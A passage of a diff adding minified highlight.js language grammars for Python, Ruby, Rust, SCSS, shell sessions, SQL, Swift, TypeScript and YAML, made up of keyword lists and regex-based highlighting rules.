ODE]}]};return i.contains=[r,l,a],{name:"Python",aliases:["py","gyp","ipython"],keywords:n,illegal:/(<\/|->|\?)|=>/,contains:[a,l,{beginKeywords:"if",relevance:0},r,e.HASH_COMMENT_MODE,{variants:[{className:"function",beginKeywords:"def"},{className:"class",beginKeywords:"class"}],end:/:/,illegal:/[${=;\n,]/,contains:[e.UNDERSCORE_TITLE_MODE,t,{begin:/->/,endsWithParent:!0,keywords:"None"}]},{className:"meta",begin:/^[\t ]*@/,end:/$/},{begin:/\b(print|exec)\(/}]}}}());
+hljs.registerLanguage("python-repl",function(){"use strict";return function(n){return{aliases:["pycon"],contains:[{className:"meta",starts:{end:/ |$/,starts:{end:"$",subLanguage:"python"}},variants:[{begin:/^>>>(?=[ ]|$)/},{begin:/^\.\.\.(?=[ ]|$)/}]}]}}}());
+hljs.registerLanguage("ruby",function(){"use strict";return function(e){var n="[a-zA-Z_]\\w*[!?=]?|[-+~]\\@|<<|>>|=~|===?|<=>|[<>]=?|\\*\\*|[-/+%^&*~`|]|\\[\\]=?",a={keyword:"and then defined module in return redo if BEGIN retry end for self when next until do begin unless END rescue else break undef not super class case require yield alias while ensure elsif or include attr_reader attr_writer attr_accessor",literal:"true false nil"},s={className:"doctag",begin:"@[A-Za-z]+"},i={begin:"#<",end:">"},r=[e.COMMENT("#","$",{contains:[s]}),e.COMMENT("^\\=begin","^\\=end",{contains:[s],relevance:10}),e.COMMENT("^__END__","\\n$")],c={className:"subst",begin:"#\\{",end:"}",keywords:a},t={className:"string",contains:[e.BACKSLASH_ESCAPE,c],variants:[{begin:/'/,end:/'/},{begin:/"/,end:/"/},{begin:/`/,end:/`/},{begin:"%[qQwWx]?\\(",end:"\\)"},{begin:"%[qQwWx]?\\[",end:"\\]"},{begin:"%[qQwWx]?{",end:"}"},{begin:"%[qQwWx]?<",end:">"},{begin:"%[qQwWx]?/",end:"/"},{begin:"%[qQwWx]?%",end:"%"},{begin:"%[qQwWx]?-",end:"-"},{begin:"%[qQwWx]?\\|",end:"\\|"},{begin:/\B\?(\\\d{1,3}|\\x[A-Fa-f0-9]{1,2}|\\u[A-Fa-f0-9]{4}|\\?\S)\b/},{begin:/<<[-~]?'?(\w+)(?:.|\n)*?\n\s*\1\b/,returnBegin:!0,contains:[{begin:/<<[-~]?'?/},e.END_SAME_AS_BEGIN({begin:/(\w+)/,end:/(\w+)/,contains:[e.BACKSLASH_ESCAPE,c]})]}]},b={className:"params",begin:"\\(",end:"\\)",endsParent:!0,keywords:a},d=[t,i,{className:"class",beginKeywords:"class module",end:"$|;",illegal:/=/,contains:[e.inherit(e.TITLE_MODE,{begin:"[A-Za-z_]\\w*(::\\w+)*(\\?|\\!)?"}),{begin:"<\\s*",contains:[{begin:"("+e.IDENT_RE+"::)?"+e.IDENT_RE}]}].concat(r)},{className:"function",beginKeywords:"def",end:"$|;",contains:[e.inherit(e.TITLE_MODE,{begin:n}),b].concat(r)},{begin:e.IDENT_RE+"::"},{className:"symbol",begin:e.UNDERSCORE_IDENT_RE+"(\\!|\\?)?:",relevance:0},{className:"symbol",begin:":(?!\\s)",contains:[t,{begin:n}],relevance:0},{className:"number",begin:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b",relevance:0},{begin:"(\\$\\W)|((\\$|\\@\\@?)(\\w+))"},{className:"params",begin:/\|/,end:/\|/,keywords:a},{begin:"("+e.RE_STARTERS_RE+"|unless)\\s*",keywords:"unless",contains:[i,{className:"regexp",contains:[e.BACKSLASH_ESCAPE,c],illegal:/\n/,variants:[{begin:"/",end:"/[a-z]*"},{begin:"%r{",end:"}[a-z]*"},{begin:"%r\\(",end:"\\)[a-z]*"},{begin:"%r!",end:"![a-z]*"},{begin:"%r\\[",end:"\\][a-z]*"}]}].concat(r),relevance:0}].concat(r);c.contains=d,b.contains=d;var g=[{begin:/^\s*=>/,starts:{end:"$",contains:d}},{className:"meta",begin:"^([>?]>|[\\w#]+\\(\\w+\\):\\d+:\\d+>|(\\w+-)?\\d+\\.\\d+\\.\\d(p\\d+)?[^>]+>)",starts:{end:"$",contains:d}}];return{name:"Ruby",aliases:["rb","gemspec","podspec","thor","irb"],keywords:a,illegal:/\/\*/,contains:r.concat(g).concat(d)}}}());
+hljs.registerLanguage("rust",function(){"use strict";return function(e){var n="([ui](8|16|32|64|128|size)|f(32|64))?",t="drop i8 i16 i32 i64 i128 isize u8 u16 u32 u64 u128 usize f32 f64 str char bool Box Option Result String Vec Copy Send Sized Sync Drop Fn FnMut FnOnce ToOwned Clone Debug PartialEq PartialOrd Eq Ord AsRef AsMut Into From Default Iterator Extend IntoIterator DoubleEndedIterator ExactSizeIterator SliceConcatExt ToString assert! assert_eq! bitflags! bytes! cfg! col! concat! concat_idents! debug_assert! debug_assert_eq! env! panic! file! format! format_args! include_bin! include_str! line! local_data_key! module_path! option_env! print! println! select! stringify! try! unimplemented! unreachable! vec! write! writeln! macro_rules! assert_ne! debug_assert_ne!";return{name:"Rust",aliases:["rs"],keywords:{$pattern:e.IDENT_RE+"!?",keyword:"abstract as async await become box break const continue crate do dyn else enum extern false final fn for if impl in let loop macro match mod move mut override priv pub ref return self Self static struct super trait true try type typeof unsafe unsized use virtual where while yield",literal:"true false Some None Ok Err",built_in:t},illegal:"</",contains:[e.C_LINE_COMMENT_MODE,e.COMMENT("/\\*","\\*/",{contains:["self"]}),e.inherit(e.QUOTE_STRING_MODE,{begin:/b?"/,illegal:null}),{className:"string",variants:[{begin:/r(#*)"(.|\n)*?"\1(?!#)/},{begin:/b?'\\?(x\w{2}|u\w{4}|U\w{8}|.)'/}]},{className:"symbol",begin:/'[a-zA-Z_][a-zA-Z0-9_]*/},{className:"number",variants:[{begin:"\\b0b([01_]+)"+n},{begin:"\\b0o([0-7_]+)"+n},{begin:"\\b0x([A-Fa-f0-9_]+)"+n},{begin:"\\b(\\d[\\d_]*(\\.[0-9_]+)?([eE][+-]?[0-9_]+)?)"+n}],relevance:0},{className:"function",beginKeywords:"fn",end:"(\\(|<)",excludeEnd:!0,contains:[e.UNDERSCORE_TITLE_MODE]},{className:"meta",begin:"#\\!?\\[",end:"\\]",contains:[{className:"meta-string",begin:/"/,end:/"/}]},{className:"class",beginKeywords:"type",end:";",contains:[e.inherit(e.UNDERSCORE_TITLE_MODE,{endsParent:!0})],illegal:"\\S"},{className:"class",beginKeywords:"trait enum struct union",end:"{",contains:[e.inherit(e.UNDERSCORE_TITLE_MODE,{endsParent:!0})],illegal:"[\\w\\d]"},{begin:e.IDENT_RE+"::",keywords:{built_in:t}},{begin:"->"}]}}}());
+hljs.registerLanguage("scss",function(){"use strict";return function(e){var t={className:"variable",begin:"(\\$[a-zA-Z-][a-zA-Z0-9_-]*)\\b"},i={className:"number",begin:"#[0-9A-Fa-f]+"};return e.CSS_NUMBER_MODE,e.QUOTE_STRING_MODE,e.APOS_STRING_MODE,e.C_BLOCK_COMMENT_MODE,{name:"SCSS",case_insensitive:!0,illegal:"[=/|']",contains:[e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,{className:"selector-id",begin:"\\#[A-Za-z0-9_-]+",relevance:0},{className:"selector-class",begin:"\\.[A-Za-z0-9_-]+",relevance:0},{className:"selector-attr",begin:"\\[",end:"\\]",illegal:"$"},{className:"selector-tag",begin:"\\b(a|abbr|acronym|address|area|article|aside|audio|b|base|big|blockquote|body|br|button|canvas|caption|cite|code|col|colgroup|command|datalist|dd|del|details|dfn|div|dl|dt|em|embed|fieldset|figcaption|figure|footer|form|frame|frameset|(h[1-6])|head|header|hgroup|hr|html|i|iframe|img|input|ins|kbd|keygen|label|legend|li|link|map|mark|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|progress|q|rp|rt|ruby|samp|script|section|select|small|span|strike|strong|style|sub|sup|table|tbody|td|textarea|tfoot|th|thead|time|title|tr|tt|ul|var|video)\\b",relevance:0},{className:"selector-pseudo",begin:":(visited|valid|root|right|required|read-write|read-only|out-range|optional|only-of-type|only-child|nth-of-type|nth-last-of-type|nth-last-child|nth-child|not|link|left|last-of-type|last-child|lang|invalid|indeterminate|in-range|hover|focus|first-of-type|first-line|first-letter|first-child|first|enabled|empty|disabled|default|checked|before|after|active)"},{className:"selector-pseudo",begin:"::(after|before|choices|first-letter|first-line|repeat-index|repeat-item|selection|value)"},t,{className:"attribute",begin:"\\b(src|z-index|word-wrap|word-spacing|word-break|width|widows|white-space|visibility|vertical-align|unicode-bidi|transition-timing-function|transition-property|transition-duration|transition-delay|transition|transform-style|transform-origin|transform|top|text-underline-position|text-transform|text-shadow|text-rendering|text-overflow|text-indent|text-decoration-style|text-decoration-line|text-decoration-color|text-decoration|text-align-last|text-align|tab-size|table-layout|right|resize|quotes|position|pointer-events|perspective-origin|perspective|page-break-inside|page-break-before|page-break-after|padding-top|padding-right|padding-left|padding-bottom|padding|overflow-y|overflow-x|overflow-wrap|overflow|outline-width|outline-style|outline-offset|outline-color|outline|orphans|order|opacity|object-position|object-fit|normal|none|nav-up|nav-right|nav-left|nav-index|nav-down|min-width|min-height|max-width|max-height|mask|marks|margin-top|margin-right|margin-left|margin-bottom|margin|list-style-type|list-style-position|list-style-image|list-style|line-height|letter-spacing|left|justify-content|initial|inherit|ime-mode|image-orientation|image-resolution|image-rendering|icon|hyphens|height|font-weight|font-variant-ligatures|font-variant|font-style|font-stretch|font-size-adjust|font-size|font-language-override|font-kerning|font-feature-settings|font-family|font|float|flex-wrap|flex-shrink|flex-grow|flex-flow|flex-direction|flex-basis|flex|filter|empty-cells|display|direction|cursor|counter-reset|counter-increment|content|column-width|column-span|column-rule-width|column-rule-style|column-rule-color|column-rule|column-gap|column-fill|column-count|columns|color|clip-path|clip|clear|caption-side|break-inside|break-before|break-after|box-sizing|box-shadow|box-decoration-break|bottom|border-width|border-top-width|border-top-style|border-top-right-radius|border-top-left-radius|border-top-color|border-top|border-style|border-spacing|border-right-width|border-right-style|border-right-color|border-right|border-radius|border-left-width|border-left-style|border-left-color|border-left|border-image-width|border-image-source|border-image-slice|border-image-repeat|border-image-outset|border-image|border-color|border-collapse|border-bottom-width|border-bottom-style|border-bottom-right-radius|border-bottom-left-radius|border-bottom-color|border-bottom|border|background-size|background-repeat|background-position|background-origin|background-image|background-color|background-clip|background-attachment|background-blend-mode|background|backface-visibility|auto|animation-timing-function|animation-play-state|animation-name|animation-iteration-count|animation-fill-mode|animation-duration|animation-direction|animation-delay|animation|align-self|align-items|align-content)\\b",illegal:"[^\\s]"},{begin:"\\b(whitespace|wait|w-resize|visible|vertical-text|vertical-ideographic|uppercase|upper-roman|upper-alpha|underline|transparent|top|thin|thick|text|text-top|text-bottom|tb-rl|table-header-group|table-footer-group|sw-resize|super|strict|static|square|solid|small-caps|separate|se-resize|scroll|s-resize|rtl|row-resize|ridge|right|repeat|repeat-y|repeat-x|relative|progress|pointer|overline|outside|outset|oblique|nowrap|not-allowed|normal|none|nw-resize|no-repeat|no-drop|newspaper|ne-resize|n-resize|move|middle|medium|ltr|lr-tb|lowercase|lower-roman|lower-alpha|loose|list-item|line|line-through|line-edge|lighter|left|keep-all|justify|italic|inter-word|inter-ideograph|inside|inset|inline|inline-block|inherit|inactive|ideograph-space|ideograph-parenthesis|ideograph-numeric|ideograph-alpha|horizontal|hidden|help|hand|groove|fixed|ellipsis|e-resize|double|dotted|distribute|distribute-space|distribute-letter|distribute-all-lines|disc|disabled|default|decimal|dashed|crosshair|collapse|col-resize|circle|char|center|capitalize|break-word|break-all|bottom|both|bolder|bold|block|bidi-override|below|baseline|auto|always|all-scroll|absolute|table|table-cell)\\b"},{begin:":",end:";",contains:[t,i,e.CSS_NUMBER_MODE,e.QUOTE_STRING_MODE,e.APOS_STRING_MODE,{className:"meta",begin:"!important"}]},{begin:"@(page|font-face)",lexemes:"@[a-z-]+",keywords:"@page @font-face"},{begin:"@",end:"[{;]",returnBegin:!0,keywords:"and or not only",contains:[{begin:"@[a-z-]+",className:"keyword"},t,e.QUOTE_STRING_MODE,e.APOS_STRING_MODE,i,e.CSS_NUMBER_MODE]}]}}}());
+hljs.registerLanguage("shell",function(){"use strict";return function(s){return{name:"Shell Session",aliases:["console"],contains:[{className:"meta",begin:"^\\s{0,3}[/\\w\\d\\[\\]()@-]*[>%$#]",starts:{end:"$",subLanguage:"bash"}}]}}}());
+hljs.registerLanguage("sql",function(){"use strict";return function(e){var t=e.COMMENT("--","$");return{name:"SQL",case_insensitive:!0,illegal:/[<>{}*]/,contains:[{beginKeywords:"begin end start commit rollback savepoint lock alter create drop rename call delete do handler insert load replace select truncate update set show pragma grant merge describe use explain help declare prepare execute deallocate release unlock purge reset change stop analyze cache flush optimize repair kill install uninstall checksum restore check backup revoke comment values with",end:/;/,endsWithParent:!0,keywords:{$pattern:/[\w\.]+/,keyword:"as abort abs absolute acc acce accep accept access accessed accessible account acos action activate add addtime admin administer advanced advise aes_decrypt aes_encrypt after agent aggregate ali alia alias all allocate allow alter always analyze ancillary and anti any anydata anydataset anyschema anytype apply archive archived archivelog are as asc ascii asin assembly assertion associate asynchronous at atan atn2 attr attri attrib attribu attribut attribute attributes audit authenticated authentication authid authors auto autoallocate autodblink autoextend automatic availability avg backup badfile basicfile before begin beginning benchmark between bfile bfile_base big bigfile bin binary_double binary_float binlog bit_and bit_count bit_length bit_or bit_xor bitmap blob_base block blocksize body both bound bucket buffer_cache buffer_pool build bulk by byte byteordermark bytes cache caching call calling cancel capacity cascade cascaded case cast catalog category ceil ceiling chain change changed char_base char_length character_length characters characterset charindex charset charsetform charsetid check checksum checksum_agg child choose chr chunk class cleanup clear client clob clob_base clone close cluster_id cluster_probability cluster_set clustering coalesce coercibility col collate collation collect colu colum column column_value columns columns_updated comment commit compact compatibility compiled complete composite_limit compound compress compute concat concat_ws concurrent confirm conn connec connect connect_by_iscycle connect_by_isleaf connect_by_root connect_time connection consider consistent constant constraint constraints constructor container content contents context contributors controlfile conv convert convert_tz corr corr_k corr_s corresponding corruption cos cost count count_big counted covar_pop covar_samp cpu_per_call cpu_per_session crc32 create creation critical cross cube cume_dist curdate current current_date current_time current_timestamp current_user cursor curtime customdatum cycle data database databases datafile datafiles datalength date_add date_cache date_format date_sub dateadd datediff datefromparts datename datepart datetime2fromparts day day_to_second dayname dayofmonth dayofweek dayofyear days db_role_change dbtimezone ddl deallocate declare decode decompose decrement decrypt deduplicate def defa defau defaul default defaults deferred defi defin define degrees delayed delegate delete delete_all delimited demand dense_rank depth dequeue des_decrypt des_encrypt des_key_file desc descr descri describ describe descriptor deterministic diagnostics difference dimension direct_load directory disable disable_all disallow disassociate discardfile disconnect diskgroup distinct distinctrow distribute distributed div do document domain dotnet double downgrade drop dumpfile duplicate duration each edition editionable editions element ellipsis else elsif elt empty enable enable_all enclosed encode encoding encrypt end end-exec endian enforced engine engines enqueue enterprise entityescaping eomonth error errors escaped evalname evaluate event eventdata events except exception exceptions exchange exclude excluding execu execut execute exempt exists exit exp expire explain explode export export_set extended extent external external_1 external_2 externally extract failed failed_login_attempts failover failure far fast feature_set feature_value fetch field fields file file_name_convert filesystem_like_logging final finish first first_value fixed flash_cache flashback floor flush following follows for forall force foreign form forma format found found_rows freelist freelists freepools fresh from from_base64 from_days ftp full function general generated get get_format get_lock getdate getutcdate global global_name globally go goto grant grants greatest group group_concat group_id grouping grouping_id groups gtid_subtract guarantee guard handler hash hashkeys having hea head headi headin heading heap help hex hierarchy high high_priority hosts hour hours http id ident_current ident_incr ident_seed identified identity idle_time if ifnull ignore iif ilike ilm immediate import in include including increment index indexes indexing indextype indicator indices inet6_aton inet6_ntoa inet_aton inet_ntoa infile initial initialized initially initrans inmemory inner innodb input insert install instance instantiable instr interface interleaved intersect into invalidate invisible is is_free_lock is_ipv4 is_ipv4_compat is_not is_not_null is_used_lock isdate isnull isolation iterate java join json json_exists keep keep_duplicates key keys kill language large last last_day last_insert_id last_value lateral lax lcase lead leading least leaves left len lenght length less level levels library like like2 like4 likec limit lines link list listagg little ln load load_file lob lobs local localtime localtimestamp locate locator lock locked log log10 log2 logfile logfiles logging logical logical_reads_per_call logoff logon logs long loop low low_priority lower lpad lrtrim ltrim main make_set makedate maketime managed management manual map mapping mask master master_pos_wait match matched materialized max maxextents maximize maxinstances maxlen maxlogfiles maxloghistory maxlogmembers maxsize maxtrans md5 measures median medium member memcompress memory merge microsecond mid migration min minextents minimum mining minus minute minutes minvalue missing mod mode model modification modify module monitoring month months mount move movement multiset mutex name name_const names nan national native natural nav nchar nclob nested never new newline next nextval no no_write_to_binlog noarchivelog noaudit nobadfile nocheck nocompress nocopy nocycle nodelay nodiscardfile noentityescaping noguarantee nokeep nologfile nomapping nomaxvalue nominimize nominvalue nomonitoring none noneditionable nonschema noorder nopr nopro noprom nopromp noprompt norely noresetlogs noreverse normal norowdependencies noschemacheck noswitch not nothing notice notnull notrim novalidate now nowait nth_value nullif nulls num numb numbe nvarchar nvarchar2 object ocicoll ocidate ocidatetime ociduration ociinterval ociloblocator ocinumber ociref ocirefcursor ocirowid ocistring ocitype oct octet_length of off offline offset oid oidindex old on online only opaque open operations operator optimal optimize option optionally or oracle oracle_date oradata ord ordaudio orddicom orddoc order ordimage ordinality ordvideo organization orlany orlvary out outer outfile outline output over overflow overriding package pad parallel parallel_enable parameters parent parse partial partition partitions pascal passing password password_grace_time password_lock_time password_reuse_max password_reuse_time password_verify_function patch path patindex pctincrease pctthreshold pctused pctversion percent percent_rank percentile_cont percentile_disc performance period period_add period_diff permanent physical pi pipe pipelined pivot pluggable plugin policy position post_transaction pow power pragma prebuilt precedes preceding precision prediction prediction_cost prediction_details prediction_probability prediction_set prepare present preserve prior priority private private_sga privileges procedural procedure procedure_analyze processlist profiles project prompt protection public publishingservername purge quarter query quick quiesce quota quotename radians raise rand range rank raw read reads readsize rebuild record records recover recovery recursive recycle redo reduced ref reference referenced references referencing refresh regexp_like register regr_avgx regr_avgy regr_count regr_intercept regr_r2 regr_slope regr_sxx regr_sxy reject rekey relational relative relaylog release release_lock relies_on relocate rely rem remainder rename repair repeat replace replicate replication required reset resetlogs resize resource respect restore restricted result result_cache resumable resume retention return returning returns reuse reverse revoke right rlike role roles rollback rolling rollup round row row_count rowdependencies rowid rownum rows rtrim rules safe salt sample save savepoint sb1 sb2 sb4 scan schema schemacheck scn scope scroll sdo_georaster sdo_topo_geometry search sec_to_time second seconds section securefile security seed segment select self semi sequence sequential serializable server servererror session session_user sessions_per_user set sets settings sha sha1 sha2 share shared shared_pool short show shrink shutdown si_averagecolor si_colorhistogram si_featurelist si_positionalcolor si_stillimage si_texture siblings sid sign sin size size_t sizes skip slave sleep smalldatetimefromparts smallfile snapshot some soname sort soundex source space sparse spfile split sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_small_result sql_variant_property sqlcode sqldata sqlerror sqlname sqlstate sqrt square standalone standby start starting startup statement static statistics stats_binomial_test stats_crosstab stats_ks_test stats_mode stats_mw_test stats_one_way_anova stats_t_test_ stats_t_test_indep stats_t_test_one stats_t_test_paired stats_wsr_test status std stddev stddev_pop stddev_samp stdev stop storage store stored str str_to_date straight_join strcmp strict string struct stuff style subdate subpartition subpartitions substitutable substr substring subtime subtring_index subtype success sum suspend switch switchoffset switchover sync synchronous synonym sys sys_xmlagg sysasm sysaux sysdate sysdatetimeoffset sysdba sysoper system system_user sysutcdatetime table tables tablespace tablesample tan tdo template temporary terminated tertiary_weights test than then thread through tier ties time time_format time_zone timediff timefromparts timeout timestamp timestampadd timestampdiff timezone_abbr timezone_minute timezone_region to to_base64 to_date to_days to_seconds todatetimeoffset trace tracking transaction transactional translate translation treat trigger trigger_nestlevel triggers trim truncate try_cast try_convert try_parse type ub1 ub2 ub4 ucase unarchived unbounded uncompress under undo unhex unicode uniform uninstall union unique unix_timestamp unknown unlimited unlock unnest unpivot unrecoverable unsafe unsigned until untrusted unusable unused update updated upgrade upped upper upsert url urowid usable usage use use_stored_outlines user user_data user_resources users using utc_date utc_timestamp uuid uuid_short validate validate_password_strength validation valist value values var var_samp varcharc vari varia variab variabl variable variables variance varp varraw varrawc varray verify version versions view virtual visible void wait wallet warning warnings week weekday weekofyear wellformed when whene whenev wheneve whenever where while whitespace window with within without work wrapped xdb xml xmlagg xmlattributes xmlcast xmlcolattval xmlelement xmlexists xmlforest xmlindex xmlnamespaces xmlpi xmlquery xmlroot xmlschema xmlserialize xmltable xmltype xor year year_to_month years yearweek",literal:"true false null unknown",built_in:"array bigint binary bit blob bool boolean char character date dec decimal float int int8 integer interval number numeric real record serial serial8 smallint text time timestamp tinyint varchar varchar2 varying void"},contains:[{className:"string",begin:"'",end:"'",contains:[{begin:"''"}]},{className:"string",begin:'"',end:'"',contains:[{begin:'""'}]},{className:"string",begin:"`",end:"`"},e.C_NUMBER_MODE,e.C_BLOCK_COMMENT_MODE,t,e.HASH_COMMENT_MODE]},e.C_BLOCK_COMMENT_MODE,t,e.HASH_COMMENT_MODE]}}}());
+hljs.registerLanguage("swift",function(){"use strict";return function(e){var i={keyword:"#available #colorLiteral #column #else #elseif #endif #file #fileLiteral #function #if #imageLiteral #line #selector #sourceLocation _ __COLUMN__ __FILE__ __FUNCTION__ __LINE__ Any as as! as? associatedtype associativity break case catch class continue convenience default defer deinit didSet do dynamic dynamicType else enum extension fallthrough false fileprivate final for func get guard if import in indirect infix init inout internal is lazy left let mutating nil none nonmutating open operator optional override postfix precedence prefix private protocol Protocol public repeat required rethrows return right self Self set static struct subscript super switch throw throws true try try! try? Type typealias unowned var weak where while willSet",literal:"true false nil",built_in:"abs advance alignof alignofValue anyGenerator assert assertionFailure bridgeFromObjectiveC bridgeFromObjectiveCUnconditional bridgeToObjectiveC bridgeToObjectiveCUnconditional c compactMap contains count countElements countLeadingZeros debugPrint debugPrintln distance dropFirst dropLast dump encodeBitsAsWords enumerate equal fatalError filter find getBridgedObjectiveCType getVaList indices insertionSort isBridgedToObjectiveC isBridgedVerbatimToObjectiveC isUniquelyReferenced isUniquelyReferencedNonObjC join lazy lexicographicalCompare map max maxElement min minElement numericCast overlaps partition posix precondition preconditionFailure print println quickSort readLine reduce reflect reinterpretCast reverse roundUpToAlignment sizeof sizeofValue sort split startsWith stride strideof strideofValue swap toString transcode underestimateCount unsafeAddressOf unsafeBitCast unsafeDowncast unsafeUnwrap unsafeReflect withExtendedLifetime withObjectAtPlusZero withUnsafePointer withUnsafePointerToObject withUnsafeMutablePointer withUnsafeMutablePointers withUnsafePointer withUnsafePointers withVaList zip"},n=e.COMMENT("/\\*","\\*/",{contains:["self"]}),t={className:"subst",begin:/\\\(/,end:"\\)",keywords:i,contains:[]},a={className:"string",contains:[e.BACKSLASH_ESCAPE,t],variants:[{begin:/"""/,end:/"""/},{begin:/"/,end:/"/}]},r={className:"number",begin:"\\b([\\d_]+(\\.[\\deE_]+)?|0x[a-fA-F0-9_]+(\\.[a-fA-F0-9p_]+)?|0b[01_]+|0o[0-7_]+)\\b",relevance:0};return t.contains=[r],{name:"Swift",keywords:i,contains:[a,e.C_LINE_COMMENT_MODE,n,{className:"type",begin:"\\b[A-Z][\\wÀ-ʸ']*[!?]"},{className:"type",begin:"\\b[A-Z][\\wÀ-ʸ']*",relevance:0},r,{className:"function",beginKeywords:"func",end:"{",excludeEnd:!0,contains:[e.inherit(e.TITLE_MODE,{begin:/[A-Za-z$_][0-9A-Za-z$_]*/}),{begin:/</,end:/>/},{className:"params",begin:/\(/,end:/\)/,endsParent:!0,keywords:i,contains:["self",r,a,e.C_BLOCK_COMMENT_MODE,{begin:":"}],illegal:/["']/}],illegal:/\[|%/},{className:"class",beginKeywords:"struct protocol class extension enum",keywords:i,end:"\\{",excludeEnd:!0,contains:[e.inherit(e.TITLE_MODE,{begin:/[A-Za-z$_][\u00C0-\u02B80-9A-Za-z$_]*/})]},{className:"meta",begin:"(@discardableResult|@warn_unused_result|@exported|@lazy|@noescape|@NSCopying|@NSManaged|@objc|@objcMembers|@convention|@required|@noreturn|@IBAction|@IBDesignable|@IBInspectable|@IBOutlet|@infix|@prefix|@postfix|@autoclosure|@testable|@available|@nonobjc|@NSApplicationMain|@UIApplicationMain|@dynamicMemberLookup|@propertyWrapper)\\b"},{beginKeywords:"import",end:/$/,contains:[e.C_LINE_COMMENT_MODE,n]}]}}}());
+hljs.registerLanguage("typescript",function(){"use strict";const e=["as","in","of","if","for","while","finally","var","new","function","do","return","void","else","break","catch","instanceof","with","throw","case","default","try","switch","continue","typeof","delete","let","yield","const","class","debugger","async","await","static","import","from","export","extends"],n=["true","false","null","undefined","NaN","Infinity"],a=[].concat(["setInterval","setTimeout","clearInterval","clearTimeout","require","exports","eval","isFinite","isNaN","parseFloat","parseInt","decodeURI","decodeURIComponent","encodeURI","encodeURIComponent","escape","unescape"],["arguments","this","super","console","window","document","localStorage","module","global"],["Intl","DataView","Number","Math","Date","String","RegExp","Object","Function","Boolean","Error","Symbol","Set","Map","WeakSet","WeakMap","Proxy","Reflect","JSON","Promise","Float64Array","Int16Array","Int32Array","Int8Array","Uint16Array","Uint32Array","Float32Array","Array","Uint8Array","Uint8ClampedArray","ArrayBuffer"],["EvalError","InternalError","RangeError","ReferenceError","SyntaxError","TypeError","URIError"]);return function(r){var t={$pattern:"[A-Za-z$_][0-9A-Za-z$_]*",keyword:e.concat(["type","namespace","typedef","interface","public","private","protected","implements","declare","abstract","readonly"]).join(" "),literal:n.join(" "),built_in:a.concat(["any","void","number","boolean","string","object","never","enum"]).join(" ")},s={className:"meta",begin:"@[A-Za-z$_][0-9A-Za-z$_]*"},i={className:"number",variants:[{begin:"\\b(0[bB][01]+)n?"},{begin:"\\b(0[oO][0-7]+)n?"},{begin:r.C_NUMBER_RE+"n?"}],relevance:0},o={className:"subst",begin:"\\$\\{",end:"\\}",keywords:t,contains:[]},c={begin:"html`",end:"",starts:{end:"`",returnEnd:!1,contains:[r.BACKSLASH_ESCAPE,o],subLanguage:"xml"}},l={begin:"css`",end:"",starts:{end:"`",returnEnd:!1,contains:[r.BACKSLASH_ESCAPE,o],subLanguage:"css"}},E={className:"string",begin:"`",end:"`",contains:[r.BACKSLASH_ESCAPE,o]};o.contains=[r.APOS_STRING_MODE,r.QUOTE_STRING_MODE,c,l,E,i,r.REGEXP_MODE];var d={begin:"\\(",end:/\)/,keywords:t,contains:["self",r.QUOTE_STRING_MODE,r.APOS_STRING_MODE,r.NUMBER_MODE]},u={className:"params",begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,keywords:t,contains:[r.C_LINE_COMMENT_MODE,r.C_BLOCK_COMMENT_MODE,s,d]};return{name:"TypeScript",aliases:["ts"],keywords:t,contains:[r.SHEBANG(),{className:"meta",begin:/^\s*['"]use strict['"]/},r.APOS_STRING_MODE,r.QUOTE_STRING_MODE,c,l,E,r.C_LINE_COMMENT_MODE,r.C_BLOCK_COMMENT_MODE,i,{begin:"("+r.RE_STARTERS_RE+"|\\b(case|return|throw)\\b)\\s*",keywords:"return throw case",contains:[r.C_LINE_COMMENT_MODE,r.C_BLOCK_COMMENT_MODE,r.REGEXP_MODE,{className:"function",begin:"(\\([^(]*(\\([^(]*(\\([^(]*\\))?\\))?\\)|"+r.UNDERSCORE_IDENT_RE+")\\s*=>",returnBegin:!0,end:"\\s*=>",contains:[{className:"params",variants:[{begin:r.UNDERSCORE_IDENT_RE},{className:null,begin:/\(\s*\)/,skip:!0},{begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,keywords:t,contains:d.contains}]}]}],relevance:0},{className:"function",beginKeywords:"function",end:/[\{;]/,excludeEnd:!0,keywords:t,contains:["self",r.inherit(r.TITLE_MODE,{begin:"[A-Za-z$_][0-9A-Za-z$_]*"}),u],illegal:/%/,relevance:0},{beginKeywords:"constructor",end:/[\{;]/,excludeEnd:!0,contains:["self",u]},{begin:/module\./,keywords:{built_in:"module"},relevance:0},{beginKeywords:"module",end:/\{/,excludeEnd:!0},{beginKeywords:"interface",end:/\{/,excludeEnd:!0,keywords:"interface extends"},{begin:/\$[(.]/},{begin:"\\."+r.IDENT_RE,relevance:0},s,d]}}}());
+hljs.registerLanguage("yaml",function(){"use strict";return function(e){var n="true false yes no null",a="[\\w#;/?:@&=+$,.~*\\'()[\\]]+",s={className:"string",relevance:0,variants:[{begin:/'/,end:/'/},{begin:/"/,end:/"/},{begin:/\S+/}],contains:[e.BACKSLASH_ESCAPE,{className:"template-variable",variants:[{begin:"{{",end:"}}"},{begin:"%{",end:"}"}]}]},i=e.inherit(s,{variants:[{begin:/'/,end:/'/},{begin:/"/,end:/"/},{begin:/[^\s,{}[\]]+/}]}),l={end:",",endsWithParent:!0,excludeEnd:!0,contains:[],keywords:n,relevance:0},t={begin:"{",end:"}",contains:[l],illegal:"\\n",relevance:0},g={begin:"\\[",end:"\\]",contains:[l],illegal:"\\n",relevance:0},b=[{className:"attr",variants:[{begin:"\\w[\\w :\\/.-]*:(?=[ \t]|$)"},{begin:'"\\w[\\w :\\/.-]*":(?=[ \t]|$)'},{begin:"'\\w[\\w :\\/.-]*':(?=[ \t]|$)"}]},{className:"meta",begin:"^---s*$",relevance:10},{className:"string",begin:"[\\|>]([0-9]?[+-])?[ ]*\\n( *)[\\S ]+\\n(\\2[\\S 